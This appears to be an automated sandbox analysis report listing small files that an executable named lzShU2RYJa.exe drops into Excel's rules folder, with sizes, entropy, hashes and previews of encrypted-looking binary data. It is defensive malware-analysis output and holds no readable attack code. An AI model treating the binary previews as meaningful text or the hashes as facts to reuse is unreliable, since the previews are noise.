Preview:	<?xml....m...K..q....j"i..~4.w..4t1...'.0.....>.....v.hF.p.......,..#.P.}<. F.4..+5....Q.Z.IJb?.k8....f....[o.q...)..Z..A......G....F.0.....].....k....(.q..?.:......a..........ME... Y`.."......v...v..VF......?MP...-....jpZ.O.a....k...H:_..:.v..8.$.%.V..3...;L.-IJU[.\..........&.c....v.;.3"y.D..[.$..-f%...9.v(.O..j0~z...V.]WN..a.Z...&..5..nG....f..s)..\|?\.v.......B.....LT".....N.y.m.\|$t...a..P.vD.......^\|'..E,..Uh....@...=Y.....r....;....#...I74.9. ....2........n4U'+..'\b....o>.#R....V......w...#^ ..}.....M.'.......P..)!...}$..<r...w.h.......^.U.F.v.)..nX.C...,.yog....[....l......I..S..f.C...-k....\/`T#...R. ..!:.;./.n...`..H...i....."..OF.~..g....3e.....]z.].<w.)=.....sL..........d.....`.-.1.ID....r.<...}..=.b..#O?X[2>...g..E...I.p..4...)6...o.i\|.....H8$g...3#?.n..\..2.x,1....v..../.7........W...-..CLy......?...Sv.Z.l.e.dl4/...h...%}..........1....e...D..._fQ.a."F.b.Tv...EC...B'3./.w.5..8....x..D&pt.[.9\|S.\.&.\|:E..X.E.~..5.<...T)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.943907808704903
Encrypted:	false
SSDEEP:	96:ZTEB+NbNs94/zFAAnJa+B0+q4TB++zzWrNl9:QkO9+hJa+B0+q+++a
MD5:	3C1E82E715FF9DFCFB0DC8F96570C769
SHA1:	303725047A8A73810A63B2AB17FA2BC2F3B998E7
SHA-256:	DCF9E0C16845DA5A1818E804894C4F910CF9FDE1019B0B0E70DB1A3E7E6CC8D5
SHA-512:	6903891743C4CAC0112678C98B69136307313D12210BD1F62CC55CC8C3CAF4BA8D618934AAF83C725FCE08A3BB93134D718F4AB6D9BD059A263128DE985BA47A
Malicious:	false
Preview:	<?xml..G.8....R.../..^.{@.2.{..@.`-..r.>Ek...K65FJ.Q.5\|Qi.k9..&.dt......w..4.8...~1....).../'..K..<0...B.f....e.]......zr.....6..P.J..<...x.Rpo...T.u!am.WRY9.\|.Qe+..xh...,.u.6T.x..^....0Ylq..E.>Ni.&3.Z..L3..X....;..Hb...1.y'.I.rPs8o.......".Y.i...P...R.C..^..[Y.G..g PK....M.\"kL..X...Q..?.....?!.1......O....,~.....z.../6.A8c.....2.......Z..V..D.k....W.,.W...r^ux..7.L.^......L.u.97.O...$..lt..Gd....>.0...t......@,...L.[.._..].....x.M...Y...+...44......U~.V.#Q..v;O?...2.G!..%.v.(a../......q..+.ZO.5@:Aa.IW...u.#.sXh.P.k.T.......G,gB.qp._.....l.............>.q.QJ..N.I.s....j].....s.uw..4...LkF.1/.K+.^`.]H..&".J.?A..n4_W./aE..e...x....n..oK.Uh..\.<H.75.(}0n.Q..0........B.]x@.....S...iX...V.v^!,.d.^,...../B...;>.I.q.xA...1-DF. .l...*.$NR.&........u...h....}....J...Xj9Y..K.%..>I....%...Y.C.........V...CD{.Q...V..<..X.;....~..B......b.'..t.yFor..!.V..?..+...N.W..y..K^.Q.7.....h...t8+..C..%3..#.u._m;%\.{0GS.J7"W..\..".k'\|..'..lCd.'...^.7..h.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.957696763478931
Encrypted:	false
SSDEEP:	96:ROkozINiRy7v70gA8d70VoO/6vt+ryK72f3Cd3Fns6/NiKjr9:0bIJj768dYfivkyK72/z61lR
MD5:	4F009B43E6543A683A7648006EFA7410
SHA1:	D0A8B413C0B3C1B46F2007F0458536C3E3B7519B
SHA-256:	449185ADA4BA71E064777F95F61422FE224A8086BAEEAD719099778EA055AEF3
SHA-512:	D407DA2812B213E373E5C901F06F61A1EBD79D28C2F3B4ABEF62DAE510ABB2961D268596CAF799064C47D5D64EFD8EE0EC577E214A0803E300A44A89D72A8181
Malicious:	false
Preview:	<?xml.Ag..17"......?....M"l(...d>V.z..W.\..M^.$..dB..W.p.n+2)Q..n.E...hDh....L.....a..z9...j..."...3..(z..X....8I....$...`..0URP5I..R......'_}bk...&.+.m..Q.j..X%. &...".k..x~3.x.......<gH......~\i..\...E.}H.....2.....d=QI&..5Z...'}...D94..a.84,a8.:.%..r...,....{9.q..~..............P.....F.k8..DD...k\|..K..j).5.2.WrB(.JB)......C.M..\|.Ba.Q...,...D...%...T...-?..........Ds......O....t\|......8...[.'.Q....)."_z$..\|...ml.T..5s;.....P.Q....M#....m.m..2....n.[p....Z.wP.t.....m.....E..8\...y.X..j,........AiL.4.s...?9...rg.Ce-aJ}.\|nhP).....g.Xr.X......t..FmN,..O..PN..6?d\.`..U....#<....0.t.7p .qcw.?.%V..U1........U.y&.$0...8.$euz.q[..R...3+u!.....$]f<.( .../s>9."................p.m....F.f.O.0......w..O3fl....?8I2.-...Fv.I....bdTk...[.%i.0f..0..G.h.?.....w...../.R1f..z...Z.p...!......z..&...]..V...D........o@!a..R3.>...D..)q..iy.@.q...?..M.c&.7.....J...]`.Pz..-...._.....[aI..[..6k..-..5.....>:...\..(.-H&-.C..2...".or..+....I.6._y.'."..w..X..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.974463980668515
Encrypted:	false
SSDEEP:	192:tVgc4gl0IIS9WUirPmzwinnht4c/ZOiYpnb:XnB0IIS9WPS7ZOiYJb
MD5:	8EB7B75C03EC5CBDA26B1E9EC3B921BD
SHA1:	78F08564B463A728828E0AEBCBDC9074DD1BF440
SHA-256:	3AB66777A4A80023D5E6BCDF0920A5FED6AFA1F1CE59968F788D701CE38D054F
SHA-512:	BE3127B3ADFB6C175B15539272A4A671C351FD11DA6A3B08C51F32D351925AAF2A4F48674EFF11AE938B56A6816D602704BD657242267CB410BE82E89BAA750F
Malicious:	false
Preview:	<?xmlt.U.4........>zOu.%..e.....Q'..J....T...nbc...]&...Xt....]...[..&c:...$+\Tf...w>..4....0.6../.D,...H...=...{,.E.R".} .g.0.!...C.`.....hpX=. .!=O.,...QO{B../..I![...+..A.si.h......<...j,%w8I.I.hL..}.~.:.N..........C...npU.#.>.V..T......,.p.......Y.#zq.&`.q...BW.).}}....P.,.......k....i...EF..zTxuh]..Lrxq."Q...N.+.R.PoX.H...3.Gg?..$.HS.W..........Sh.......T.n..T.D.Y...V..6=...=...mS..+.H..._....$d...W.......0..Ein.-5....C.~w)R....qB.H.....<Egz.'].E.n0.^.3L....<......!hf..vt....%..^..e%uP.......v.,..7.Ud.z#.).>F.j.^...M.pD..g.t....E.e...I<....@...m.7K3.9._.).B..%....z.ZLV].}.Q.}Cs..xf'.+fYX........S...J......g.E.F..b_B...!...^..D.ruL...}Z.Y8..d...?.~..Y.. .m..L..L6...S .'..P.{Ja....x......v.@..i.%......P0.V=[..F.Dxc&...t..Mj.....X.6...`b{.-v......]Tr.Hl@N................t..q;...0..A.~..[..lSX..;.i]..c.A...At).D.C=.De+......@...#.. ...Eh.........'e.R..a.\|..{U................._.ot0f(...~..@.c.Iq..-:.....wm.z..............[.n#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.974296108980544
Encrypted:	false
SSDEEP:	192:xPNCo2JhTKmcpr4lnYRzk2dYm55fL4zBm/4h/EO+HP:xPNGhTKmQ4lA54JELP
MD5:	8CB63DB2719E47B23E7918CA7F109BDC
SHA1:	686E6C7FC1E265F0996591599BF170F5806B2E75
SHA-256:	C7638FEE98D5B641299564445C174FF58D1CB815268076F8FF4F16C905EBCE5C
SHA-512:	DBEEDE04D351C62CF1847BA6F5A662066A9566D1E9602D2B79639247456BD153CB79DD0EC6705B8FAC904DF405001AA631B04CFC0334D13A58B588C16D235547
Malicious:	false
Preview:	<?xml....aa.$.. .2<8....\.qr....U8..S.m...y.V.''..<.............y.Q.F#....Z...ob9p.Dy.1.q....o...^d.~Hb.j.Q.G.....{B..J..._.^...$&.M....&.9..q..UX.J.........;.#U.VE I0-W..."..7]k..\|....... ..v..r..O..H......=.aJH%.(t.n...s.#^.a..<._5L.N~...Jo..(.g%."..LhY.i....Jk.."..-.$....'O.g.......S...>.`....u..7.....s.Ki\|......a.....K(..g ..8c........N..W..Nu....s.}-.M..M}\r.$..I....Va...l;.....'.I!....{..5..J.....^,.5_CTU.M....Q....z.....^.'.......}.(.\......'..]..Xj....5..I...@../H;P.2qg...O.\|J.. ...7..r.......O..s...y\.U..k..^...g..U...r.X....w....8VO..`..........H...4...R:c...f.>=....!.6y..!G......\|.j.B...$......;....1..[.'.t..y2.Y. '...u..d..i.+.O..' ...^.>q......%...Y....5.J.hYq.s.\...UA.\.7u..6..k....Us.YE].W.8.8.Sn..K..B.W..N!0.U.....j.(Gb.tYr...`T,>+.s......X...d.J...R....d..."2C.c...^. ....?&...e...../.5...u.....y-.Y.yQ%...?.@.\|.r!;............Q.....$...+.......H.a.k.=........\|.rk...o...Z...bL....v.w..'..6V..r..mR.K..8..H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.877979527373931
Encrypted:	false
SSDEEP:	48:BKLJ+DDOymjD+aPUnXviKlCl1f7G6agDo56Kd3AS7FD:BKLJ+DDSv1PUXvrCnf7LwvQS79
MD5:	323D864E26303F429A1FE9A582E29E4D
SHA1:	63A4E9BA308D0F4094FFC5C4CBFB67E4AD9B15C1
SHA-256:	1832727F3E316EA7F1412A4847848479538DE4ECAA691D27E6F1C9FC72633396
SHA-512:	65C0714BCADE7BD6E21FECD7787BFF2DB855E333780C7114DC7E38DD9BC55811224AC214777AA51157733CD379718D868CB85B2D5D12DBC8D9D9A2EEBD55BEE9
Malicious:	false
Preview:	<?xml...........f&x...F.{.a@.g\|.._Y0M.@........).%...zo.....n...@.:.T...$X.....'...J.&B#..mt.%.T.mW.......[.&.V.i.5B.s.m.w..R9.?>.S.OZ.r..-t(.. W[....!.p7.P..~.0.....[.@3y.o....&UR%...}f~!..EDw.";.p.....1.H..4I>....._,.l.5..!.u9`c...7A...2{.... A.y....S2....#.5...=6qa..\|.X.d...-9.6..:6.x...3............F.......5.c7?.a..;..x..!.<......0..}Clp#....z.E.....d5v/.}....C...;.....D.K...H.?.S...sp.A.....&.U-@.,.$...2..-.>.....~.O.q`Z&:S...y...L6.....V\|........l..M..]...{2......Y....d;...'<.9d.{...}hwqK....;I.e.kIRm..t.....d`..(wD........f..[.~}. .....f9..:..!.Q...........F..\|.........A5(........\|....A8.`.J.zF..o.4..E</y.uP,.^+.M.....o.n..e....i.....kT.;.F...L.!......P~8.>%%u.....G..\|...e..J....J..<..2.v.\|.G.F=.+.0^.."./-.?.e...........2.)...F.....>.......gH3..j$...K.r...\|..\..<...wn..<..E..A.z.Y\.....Wa.v.\^..).,.2...Bgy...*(.....\^Q..y..p.odk.{.jR.....'Z.:.q..c....s..i.]..c..U.<1....o...^o.'G[..1nC...j4B8@..M..,....W..(...W.....D..l.&.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.886661719229619
Encrypted:	false
SSDEEP:	48:OZle7lEUlvsN+xY0DZqTc04Y45kr2vs7XiQ9DZFD:iClhkcxYePgokCULD9DZ9
MD5:	A3EC9D185DE568D4063AE702FAFB35F6
SHA1:	58E627AF94D6042F608FB93CD4AAF048DC1DFE8D
SHA-256:	E54BC260AE1E5AFF93686F9CC01C5DB9429BD9E5B318685CDFC5C0C92CA63716
SHA-512:	E8105912C1E19BB469CC6A7B3D0D043A9904F6F73E439C702E93171478A797152DA1D47B9758927A7471EDED1958A9CAB75E61265E3434AC9726666786816592
Malicious:	false
Preview:	<?xml.h.n.?.h>.V....V.Z.3{..3.@7.....u...F.Fi.?.2....r....[..Y...._.aKW-.r..N0.RH..<t..$.W.t.Js........z.e.A.....Ah7.....5...(f..'......E`...[N.....N0D..E..}..(A..j<..2..G.i&#..=[.$..SP..hl$..#..bQZv..7.VL....-k....`....r..;I.a..CM.....<...0....B.>3...nN.gy.......].<...S6.F......S.;\|...Dz..+.....@.......~...l%.......L!W...\.p.L_..h.U\..\?Q.+W..........Y.0.R.9=..89VK..c...@.....{..9\|..E..1.h..7...'.....S0N.].........U._....9;..../.a...?...u.D..G.....`M$.".{...E.&.9.-.S....=.zq&.R...h.....C......^..).u..c...r...B:a.9..l.`.s..@\r..P.Jn..Y 6.....l.O...\|.B .< ...L....%/...j...\|...D....8Wu...:..x.i....&...W....13.$>....."\|..X.g....i.#./...@b#!...b....T...lI..p.{N..-..`.J......{..^8.L.`Xo.;Z;.....Q.K....6...:...Z....Jl............"..I........\7(..h.....P ..'..y2...;`..b...L.....e.< ....{.".\.....N)C...{......j.g5.`p&>.......+"L.A.. ..]y.}......Hf.C.oj..I.t...0.a,/..}....=...Sq2Hxg....(....<....U..6af..i-..3.:.............K...J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.883507615788253
Encrypted:	false
SSDEEP:	48:F5K4XCJk7w8y38gyxxwU/QoTEgMNI3+3FtcrLslzFD:Td7DjgkQojf3mcMd9
MD5:	CDC7987EAC6D85E831D1672501B2BD4E
SHA1:	720D011D99CCC503C8A0497E6658AF7CBA282467
SHA-256:	7A98815B55DB7562EE688D5BBDE0412ECB67CBA2738C41D296476AA8B6BEE933
SHA-512:	C8DE3391536CE57A953A163D99C59D4ACB80D58AAAC2B4F3963E643A0149618AEA4E54705B4B55AB8C3823815C05CE419FB1F6031160EE6B4A5D2699A52C9D49
Malicious:	false
Preview:	<?xml>/[..`.N..s.9`...f..J..Yh.0.y,C.....L../.'.]..o...:\.b.'..\. ?.....`..........."...M.B..u.......aU...A.%T,n...u...#..x..=...%.N+.&a5M..;c.7Ta......g.....s>................pf:~...kz_.......<iK...(4C...'/.<..r.o...,.1f..LI...v.........c.-...\.;.h.a..,...l.."..<)..W....p.H.g.,4>..!.o.....].d..f..a..Q:..?../.s`..i.....O.F...]....a....5........Rk......p R$...DE...L..j.....z..1.....y...+ e..q...<..f..?..-.p...F.\|......b.......;.4.p.Qd.. ^..N.........$L....0c....?.I...\D:.6...x..>....r;..........DdT,..m.5TzF...l&0`....rN...u8...y.v.D<....ux..O.....tD.r.Xv.@.....aT.y...=.>.......3...@<...te...h..v....X..~...B..RF..\|...=..3..../..#.....N...`...@..'...J.u..12D...5....Gm.nK..A!....@c.....~.[..j.$............/TUOZ.17 .E.x...'....y..<%.8.p.]..r1R+...V..vw..#.<.+d.....:.8M..b.r......Z..F#..L...........H....cw....I...."..d..G....2.....q.....'>#../....\..$......T..-..K..N.........l.yK..>.s..\|?.m..$...y......Ra(.$..B..aFg1..Z....`.+..&..{........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.864177147056003
Encrypted:	false
SSDEEP:	24:E+ay7vOwbu1ZMnhQ6SThIsKbqFzePc3L1phlrHJF1LIOx6Yn8YZN7sg94htVbD:Cyqls1SPKMePc37pDLIOx6Y8Yv7naFD
MD5:	7283DC45AE4BB69323994C0F2B5BBCAF
SHA1:	E1DD85A4E406AAF06962DA402825C7F15AA25A70
SHA-256:	A1AAF97B7758C41B241FCA6125D1B913907C7781652E4AC20CB8F406DBFDF751
SHA-512:	AD4F936A109622D0433B0B33C8DC5A33CDA4468E78820665BC8B65CCA668B2D58FE394523E14288870C09EA6EDF337DA16F2A03C8AF4DE1BD11F52619A1E0E6E
Malicious:	false
Preview:	<?xml8~.\.NM.....4....Nh>.....}...r....h..K..u..x.\7../.....T.:..n.R.J.`L.h...s...]}....).....Fhx.....K..F.=..7..~...Bb}..h...w.kM.....[V....U...OU....T.=....j.A0H&V...m...X....wy.o..y.t./.....?.2P,E...KM.l!..P.8N..~Q5c..\|.....0.}c.._.../.....@....U..........Fe.........3H.%.W.A..;8#.~..o:.....{............W.D..g;..n\3.-......^rB]...id{....Y1.8&U..nQmNg....5P.4.......~.....(.V.q....4..\Xh...K<ow....r..ti.a/..B..<...\|.K..{./9].dq./:Yx[):.......4w8....Q..1...n&..~XF...).).../S`\|<F...=.a%...C$..T.y.....C\|...zO.../4-k1......{.....[....\|....ofqvj{.J."...]?=...!..3i...Fy.m{b.`F..Ld.`..)`.... .).+E:.H..rcC........YO.i...[Lh.q....4..F....v....%..}.....Q..t.M.....X..x.....~>........a.1.dZ....B...-.X..:9...7..Uh..G..>%.....Y....9..cn..6w.X....Rq..K...S....3..uK......N~.......u.t.....>i@.l..D..3....i.d......TK.....(y....&..$..P....'.v..K...S.R.......yN......VI.."L.D.R.....l Ei...Y....>.o..*.o..v...N......V0y..@/...KTC.Q...?../...7Y......:..IpR...s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.865732729554401
Encrypted:	false
SSDEEP:	24:VaqXoDKo/gv53skOiL7/AbXynjLZJMDiXOoOUvBaCjHc2tK2YP3cim4rG0w3cVbD:VloDKoo9shNy3YIOMachtVY/cimQG0Ck
MD5:	BD34163FADAB78CF2E1C9266EFF28517
SHA1:	51E1DB2082FEBEA3F163DFED899039139CF9D0F8
SHA-256:	3FD746FB72EAE5BDCB9DBE4A32BE2E294BD032DFED359216760B35A2D3604587
SHA-512:	02BEC95A98F251D82E8A75F78D945FAD0167B488FBECAB0836FEBD675B86F2C9AA5F61EBAE172054162FCE54277B2D37F09840E4A63DA05F94CF54A568426B28
Malicious:	false
Preview:	<?xml.y.O.A.D./....0.~M..j ..R5...l(.Oc.......@QP.2.%.(^K1Lcq..Yd5m....+.....aM5..%..../.u8..$/...g.Ye1....c...M;.....Y.CJ.a..?2...%.y....t.9...K..g..$J..@;D....sU-..N...sv.AN./C.Z'3>..W..rn........F\|jv../.0;%f.[.....r.v.O...X.k..}.W.s.....,..xd%.[........i..c5.q^v.....a.Y..:...}..p.Is......so[$.......O.f\\..6....Q..f...J...4+. .3..u.>&.M....g.x..:......2.r..+Zh.p.:t$..['&....g....8......L........`.............m..R...4...c.VE......E...9.\.U?.O....KF...\@./...!..[.A.j.O.zg..H.uX.gY..........N.."iH.,(?.....n..:.l..qd..m.%l......=.i...S..3.].H?C'.......4.....P.n..)...G$`4Euuv.Q.....,...vo..h.8.p.K..........]....9.hwK.....d...>.[.<'@....l.`..CB......h.P..q.2..N%...@-..?`.w~bv...M .,..V~..cf]....bvW.......Q.wl@.....!.\|o...#....\{V..:...O.....aOxM. .FY.g..E>,(.[.'e.._....y).o....B..U.*.e....k:.^.F...I..y..B.cq.(:....&......Q.'.(..`.c=.Z0V"..........d....\l..owr02..........;4.WKQ......7...v...Z/6...tgC.El.u.d.....$....h@.i...bg.'..q..>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.876745913600515
Encrypted:	false
SSDEEP:	48:tgtMty7mc7rxOCL7D/jRafIVaDXsfmupDFD:o8Tc7rdFgIVsjOD9
MD5:	42D144C14221F8C11209F105820E79B7
SHA1:	F8B98C5DAAAC763A1D848ECC77CFA1D758DF48BE
SHA-256:	49D23AB8C87AFC289D0DEC81C5944127187051F5F2A2A2CFFA9609E4DA49D6F3
SHA-512:	DAF96013C42AAA76EDB350CA833A92972CC24B3A220B8F870CC68E29736A3516181662204E39A27825A683BF4680A6C3BCEB75792BB271A17B6FFF1926726112
Malicious:	false
Preview:	<?xml.....1.g...;yc..Ag_.h.W......S......!...~.....@.....$...O......}.T.e:..T ..<HM..&\|..J}p.....;I...x.Q..p..APB0E......T.>.rr..$i..1..!...E..o..'.n.G..!"..E../...[/....8.... ...L....I.W..s....v...Y?.6)t{.E.AE..".Cd.v. v..8@V8...z..<..B.6.(..o..M./..<b.2yCb.G..@...rv....P.9.N......(s.H.....yK.).qV<.{..E"?..i...i`h...N....R...?i.s..^.#o).._......gj....5s..N..`......b......d...k..o.v..L..?G.j...6.q.....F.....l...p....R.:-.\|L..:\4....!..T.\...a../[.{[.......!.q.=..t..U...'.g..A.>E.!8g.2..@..p.T.N{..f2..^....l.N.7..l.f.k3$).r...h.>K..d......z9Y..wlfLkC.f..0.....3........c.b.hp..X2lP..>..dJ.....sa...Lnpn.%.Sgo..t...I.n]-.[W.....F\i........V.+.:Vs...r!.546........@...v...\|...A.k..n...L...U.BO.c)6....>...<NV..A.fq.3.....d..X%...GPf...y9.._V....K.8..-.....y>.w...,.I$..]s.sk......va...}....2...6..ll...'..J..2jQ;.#..D....p..'...".D+..5Wo{r..b...M..h...Q...X.R4....=.r...M\|..J...uqn....7...H..`>..f.d..-E..9r0.K.5HS1....&.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.784587544313097
Encrypted:	false
SSDEEP:	24:/Dgfn7PhNyhUz4BDFOlw+DYzfZJkBjILf6SHaRfqBVbD:Sz4BDFtyYzfUBjOf6orBFD
MD5:	8002A19BD78CE0E090F8F4A94058040D
SHA1:	B5C6934D2197BFD98A6372BD8C6410DB28EDD1A6
SHA-256:	BDF0FCC600A3E058199EA178BB4A8BFDAE59381BBDB721C251507E481520C372
SHA-512:	F5D25CBBA50137BF8DBBFC645BF5AFFE2D357043773DC67454BA395745D8A872B8DEAF944882896DDE2730484B26D74F59F90C6A6486B0E2D6A8687C94AA25F5
Malicious:	false
Preview:	<?xmlY.{>.0!...._.s....V.G..]P....?G..;....$ug3\|. g{1.F....k..8..S."a(e.x.@.L....K..........-0{#.....9.......t94\|4!1(m...z%.lW.._...Q...>..........u....+...[sE..t$....._......@..........x.~9.8....b-...#....R.T..o..k1C-W.B.5.xe.fS...l....u.....A..I0..h.xh.v..e.....a.J..[..y.`...f@Q.p(..K)..c#S[T..x#:.0.z\..u.?UT4..#.....V....E...'.s.c..Qm).7M.2.Ui..O.LL.$......JA..o.]......b...he.d.Ez....I..`%..G...$..H......X..V.r..M&.....@F=....v..F...`...'.T...%....."....g.....hx.>...m.jiAh.i...<g..I.+.X$.T.wV....N.W,;....=.b...6`...Z.!.u....o..\.h.@..D...".V.]&U.Ql.../0...I.ta......&a.-..@.....0....W..6..o...g.>8.x.P.Hh.....F..(....#.A......k....WG..'...)...n....5U.=..FV.....D..&7.m..$....v...<d.S.=>..Y..N....k.8.N@.b...$..}...2.*o&......6>...$1.aW..Ol.].6.....:..uA.`.8..m@&...jW.q...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.944462588167961
Encrypted:	false
SSDEEP:	96:MzYCsV4jk020and7Q1p2SzAZ0IVUoVtoa9:QYCuF7Q1ptzAZ0aUoVG6
MD5:	441E8AF34EFA8B1A6A01EF441CA05BD0
SHA1:	0B7E17D576C6DD1E5485C304E4782CF4F69FA33C
SHA-256:	1C12F0F8D6FBB360995C85B9A07A045986216B5BCDBCE373037B1C650683BF96
SHA-512:	7D3730E1D8CAB8799BB422BFC722B718487107CFA9C4C7FF41D224238399D1A1BF5FEC2A777A350C33F1248A3BFBE2ED365B5D7A363A4C60F8F78FA2D9276066
Malicious:	false
Preview:	<?xmlbF1...^...\.~I.......'b.....>...:...K......hk.r....;Y%kq.i./j..}..f ..NR.....D..RY...`..@T..s.tf....J..$.z.....NZ...!o..^.BH..l..,RQ...w....7.........F.."j.....4.0.LICC...zR\..wL,.%.$qO.sfC_.7I>.'Y_.\|`...;.hx.Lv.%..Xu..Y;F.p....S.wDkW..dL.^.........B....]...-.4.6XK[.s..O...;...P.>..oRF.C..4<F..~.{_.)..h...yQ..J.+..Zj...TO..Ya....I..jQ7.cf..8..}.Q..^e.F.......LK.e..q./h.q.e.....v.2..!o.k..^...J{.Z..>#....[.NQ.......Z.....U.#6..a6..[..;.v...o..e.....0...t..T..h.s..4.6Q...Y..n.Tx.o..-9..G......<.{./M..Y9J...raF.B+.}.f...b...../.S..N. MAI/......+.QD......dOI.B..p_L.B.DZ...An.%..O0.I........tXKl.D......`.#>P..J.'...+..p.c.....l.._....._...F,.. w.~.0.....z.!....vu.h.(U._..$/..fa.q1.~.!e......\|.[..7..^n1<..WJA.,.n@o....@i.W.."..-........c..33$<i`..._6..s!@...pk...x.{.#>.X.OM.!..s.ed....>.C:.%....jb.......$2.)&.]....4s3...]B.h...~U.F....t..v>=Kw`.(C.)....%..I.O..."8%<.....&...!zY..v..UJ.P.R..5....'{q..lN..T.R.Gp.q(.L:....,g;J..D.g)<1.Aq.....&o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.949919288435627
Encrypted:	false
SSDEEP:	96:g9nEpur7TjDny1mIPvRtT+ZSaa74pq9o9:OnDr7fDsPvsSLsH
MD5:	38FC582E8272D4F8ECC379EA77639CB0
SHA1:	265ECFF24221F09772DE740D5E28C08A8CDB9B71
SHA-256:	87A8CB7464F4D64157FC7D09059EFFE4CBD06713D203197FE27C7A15B6B5B82B
SHA-512:	3AEF3107B92896FB92857961156014ECF94F00DFF80DC8D465DE4B5472E81C0374C1E8D82DA981CA0C721A483C28D0E7C2BFB403146D44D49D4D350BCBD2B30D
Malicious:	false
Preview:	<?xmlI..4...(.i./[T/mH..........A{pLe.c........Nan`'.p.gd.y..KM..E...Li...C..w.i.>..4......;J.H.O..U.5..i.9.e..M..D.. ".R..'>....M..M#7.....9..'..@.......fs...6k.X...!Y..rJn{.Xl.......pX.i.\|.j......b...e.R.g...QCr.t...u#/.a{.Y..z...t@.......E.u"X.g..G...3e...xq..Z...X.\|.Y........r.e..R.fH.P.....^.GKO\|....O.......O...]..kf=[F.m.-t..:...........5w.A%...s.2...f.2..q...g.%@.....].....BaHOg.8.Gu.._.....z..z....@-....N.......TS';..s.c.~.....R.W_..C....Bn.7%.8)Ym..kH,.2XO.......u..#+.=...v'..9...1c.m........t..M..e.?.,.Da...-..z...Kn...^}".T.....w................)........`g./....z..>...T.b.... .V.t...p..!!.Ct'.a.#bHQC..v.].-x...=.P.W.P.B....&T....},d...++.......X.G...A^u..2..e..e..O.vL0....c..pe......Gy....YN.!.Yde./.6......<'..>g.b...P.'.`.j.U.J..G.6....Q..D[.'......D.0.N.0...R..'q..!.....X.j....Aj?....{.\.#P..lv...>.O.i...b..J.5...'...p..5b...T.a...I...D..f..j...[......o....8$}O....{>...`$. . .......F.i..W...O....H...+.....rv.\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.718811440331782
Encrypted:	false
SSDEEP:	12:QwL+l5vAq/yYL35sfU292yh3H1Bk8RR5tzHGdt7q4+KQGQYEpY1oVyNJucaKsNj9:NL+gqKw3yfjYoXsWtzH+q4+IQYuoqy6N
MD5:	76687CF526E433308A2E21EA7FA83EC9
SHA1:	DAA0BFE21484DD3B4E32B746BBE91CB3DA1623A5
SHA-256:	E178E81C39EBB380EE60587F647C00D8EE0BF56FBB3F25327B6DFEBA32E048DC
SHA-512:	497687B730CB7BBD3FA6143341F3A89104D17175C02C9459A6758EA446E4D3FA3EB1A887419DCB73EA939B00F1C6AA21572AEB3D9DDA580EDFD811BB8DCC8FBC
Malicious:	false
